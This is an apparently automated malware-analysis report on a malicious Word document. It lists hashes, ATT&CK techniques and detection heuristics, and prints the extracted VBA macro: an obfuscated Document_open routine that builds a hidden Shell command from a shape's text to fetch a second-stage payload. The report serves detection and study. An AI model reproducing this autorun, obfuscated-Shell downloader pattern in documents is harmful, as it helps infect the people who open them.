Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 457ba6e010192b7e…

MALICIOUS

Office (OLE)

74.1 KB Created: 2018-11-08 03:58:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 39ea39e8676e8b595b4819103962f868 SHA-1: 1a687abe3258db7aaf5937c3161d75b8d06df9f6 SHA-256: 457ba6e010192b7e24ef9d4c3031fa8e1e44d8ef2971f37329f0c06f9fc0f36a
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro that executes a command using cmd.exe and PowerShell. The macro attempts to download and execute a second-stage payload by reconstructing a complex command string from concatenated literals and base64 encoded data. This behavior is indicative of a downloader malware.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923145-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923145-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatDateTime (nbGjl + XYHjX / Qvvcst + jfSRhA) + ZzkWS + RpTIT + KaXjNm + OLSSM
    mkvzmhAiwoR = Shell("" + SjbPB + FioPjT + Shapes(tVGjlE + MMqniBlB + 1 + XnNbJrt + BVIuVa).TextFrame.TextRange.Text + zCUrCzmO + inDtn, 677413861 - 677413861)
       Error vACSMP + RrSYES * (NHIlw + uVnbM)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1139 bytes
SHA-256: c6108e31da7f6a9cd6bd2d1774b6a619cc00b837976a8a5f82e7fa7ef77174d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CUAoYJGkiocz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber (vYhnW + PFanCl * (AVclf + JjwCk))
   FormatDateTime dnURT + zoZGf + AKvipN + TXDGwX + oatws + QTWYla + (TjURr + BuDuWo + oOiZh + uwZWv)
   FormatDateTime QjLuJZ + dDdNPX + ZDNafo + VYToq - SiwWw + fciuji * ukzsOV + sjfic
   Error fizQtr + HiaDaL * (Wlskzz + rsWBf + PqVbm + jVqznN) - pkTQF + kZWwf + HUSnqc + OoTRM
   FormatNumber uIrGS + YwEHR - rBrIj + CtiYjE
   TimeValue WSlUK + jOfYn + NQJbcn + BjPIw / fSlLG + YvulzE + wuKwuz + bYzEkq * (CZoGKp + iGuCZ + PqTfKX + oOrmUJ)
   FormatDateTime (nbGjl + XYHjX / Qvvcst + jfSRhA) + ZzkWS + RpTIT + KaXjNm + OLSSM
mkvzmhAiwoR = Shell("" + SjbPB + FioPjT + Shapes(tVGjlE + MMqniBlB + 1 + XnNbJrt + BVIuVa).TextFrame.TextRange.Text + zCUrCzmO + inDtn, 677413861 - 677413861)
   Error vACSMP + RrSYES * (NHIlw + uVnbM)
End Sub